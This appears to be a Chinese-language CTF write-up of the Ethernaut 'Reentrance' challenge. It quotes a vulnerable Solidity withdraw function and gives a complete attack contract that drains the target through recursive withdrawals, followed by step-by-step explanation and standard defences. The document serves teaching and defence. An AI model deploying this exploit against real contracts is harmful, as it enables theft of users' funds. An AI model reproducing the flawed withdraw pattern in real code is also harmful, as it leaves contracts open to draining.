Skip to content
On this page

智取以太坊:揭秘“重入”攻击,夺取合约的全部财富!

想象一下,你正在管理一个装着宝贵数字资产的保险箱,但这个保险箱的设计存在一个致命的漏洞。一旦有人打开它,不仅能取出里面的财物,还能在不关上门的情况下,利用这个漏洞反复取出,直到保险箱被搬空。在区块链的世界里,这个“致命漏洞”就叫做**“重入”(Reentrancy)**。

今天,我们将深入 Ethernaut 平台上的一个经典 CTF 挑战——“Reentrance”,带你一步步揭开这个漏洞的神秘面纱,并学习如何利用它来“智取”目标合约的全部财富。

什么是“重入”漏洞?

“重入”漏洞发生在智能合约中,当一个合约在执行某项操作(通常是发送以太币)时,被调用的外部合约(或攻击合约)能够在当前操作完成之前,再次调用发起操作的合约,并执行相同的操作。

简单来说,就是**“在你还没反应过来之前,我已经又回来了”**。

在 Ethernaut 的 Reentrance.sol 合约中,这个漏洞就隐藏在 withdraw 函数里。让我们仔细看看:

solidity
function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        // 1. 发送以太币,这是关键!
        (bool result,) = msg.sender.call{value: _amount}("");
        if (result) {
            _amount; // 实际上这里没有做任何有意义的操作
        }
        // 2. 更新余额,这个操作发生在本应安全的发送之后
        balances[msg.sender] -= _amount;
    }
}

看到问题了吗?合约首先检查用户是否有足够的余额,然后发送以太币,并在之后扣除用户的余额

关键就在于 msg.sender.call{value: _amount}("") 这一行。当这个函数发送以太币给 msg.sender 时,如果 msg.sender 是一个合约(我们精心构造的攻击合约),它可以在收到以太币的同时,被触发执行其 receive()fallback() 函数。而我们的攻击合约,就能在这个 receive() 函数中,再次调用 Reentrance 合约的 withdraw 函数,而此时 Reentrance 合约还没有来得及更新 msg.sender 的余额!

这意味着,攻击合约可以利用这个“未更新余额”的机会,反复提现,直到 Reentrance 合约中的所有以太币都被吸干。

攻防之道:用合约对抗合约

Ethernaut 平台明确指出:“有时候,攻击合约的最佳方式就是使用另一个合约。” 这句话正是“重入”攻击的核心。要成功实施攻击,我们需要一个精心设计的攻击合约。

这就是我们的 Hack.sol

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrancy {
    function donate(address) external payable;
    function withdraw(uint256) external;
    function balanceOf(address) external view returns (uint256);
}

contract Hack {
    IReentrancy private immutable target; // 目标 Reentrance 合约
    uint private constant AMOUNT = 0.001e18; // 每次攻击的金额

    constructor(address _target) public {
        target = IReentrancy(_target);
    }

    // 攻击主函数
    function attack() external payable {
        // 1. 向目标合约“捐赠”少量以太币,将自己注册为用户
        target.donate{value: AMOUNT}(address(this));
        // 2. 开始提现,这里会触发重入
        target.withdraw(AMOUNT);

        // 确保所有以太币都被提取
        require(address(target).balance == 0, "Target still remains!");
        // 将剩余的以太币发送给调用者
        (bool success,) = msg.sender.call{value: address(this).balance}(new bytes(0));
        require(success, "address call error!");
    }

    // 攻击合约的 receive 函数,负责处理重入
    receive() external payable {
        // 计算可以提现的金额(取最小值,避免超过目标合约的余额)
        uint amount = min(AMOUNT, address(target).balance);
        if(amount > 0) {
            // 再次调用 withdraw,进行重入攻击
            target.withdraw(amount);
        }
    }

    function min(uint _x, uint _y) private pure returns (uint) {
        return _x <= _y ? _x : _y;
    }
}

攻击步骤解析:

  1. 部署攻击合约: Hack.sol 部署时,会传入目标 Reentrance 合约的地址。
  2. 发起攻击 (attack() 函数):
    • target.donate{value: AMOUNT}(address(this));: 首先,我们的攻击合约(address(this))会向目标合约“捐赠”少量以太币(AMOUNT)。这相当于在目标合约中注册了我们自己,并存入了一笔“余额”。
    • target.withdraw(AMOUNT);: 接着,我们立即调用 withdraw(AMOUNT) 来提现。
  3. 触发重入 (receive() 函数):
    • Reentrance 合约执行 msg.sender.call{value: _amount}("") 时,以太币会发送到我们的 Hack 合约。
    • 此时,Hack 合约的 receive() 函数被触发。
    • receive() 函数中,我们计算剩余可提现的金额(min(AMOUNT, address(target).balance)),然后再次调用 target.withdraw(amount)
    • 由于 Reentrance 合约中的 balances[msg.sender](也就是 balances[address(this)])还没有被减去,所以这个再次调用 withdraw 依然能够成功。
    • 这个过程会不断循环,直到 Reentrance 合约中的以太币被耗尽,或者 address(target).balance 变为 0。
  4. 收尾: 一旦 Reentrance 合约被掏空,attack() 函数中的 require(address(target).balance == 0) 检查通过,剩下的以太币(通过重入累积的)就会被发送给发起攻击的账户。

实践出真知:Ethernaut 挑战实录

Ethernaut 平台的测试脚本 98_test_reentrance.ts 完美地展示了攻击过程:

  • 首先,它设置了初始的 Reentrance 合约余额。
  • 然后,部署我们的 Hack 合约,并传入 Reentrance 的地址。
  • 接着,调用 hacker.attack({ value: ATTACK_UNIT }),这就像是发动了我们的“闪电突袭”。
  • 最后,断言 Reentrance 合约的余额为 0,成功地证明了攻击的有效性!

为什么“重入”如此危险?

“重入”漏洞是智能合约安全中最常见也最具破坏性的漏洞之一。它暴露了在分布式系统中,信任边界的脆弱性。一个看似简单的代码逻辑,却可能因为外部合约的行为而产生意想不到的后果。

防范“重入”的常见策略包括:

  • Checks-Effects-Interactions 模式: 永远先进行所有检查(Checks),然后更新内部状态(Effects),最后才执行外部调用(Interactions)。 Reentrance.sol 恰恰违反了这一原则。
  • 互斥锁(Reentrancy Guard): 在关键函数中使用修饰器来防止同一函数被重入。
  • 使用 transfersend(尽管存在Gas限制): 这两种方法在发生异常时会返回 false,并且会限制发送的Gas量,一定程度上降低了重入攻击的成功率,但并不是万全之策。

通过学习和理解“重入”漏洞,我们不仅能够更好地参与 CTF 挑战,更能深刻理解智能合约安全的挑战,从而编写出更安全、更可靠的区块链应用。下次当你看到一个合约在发送以太币之后才更新余额时,就要提高警惕了!

Built with AiAda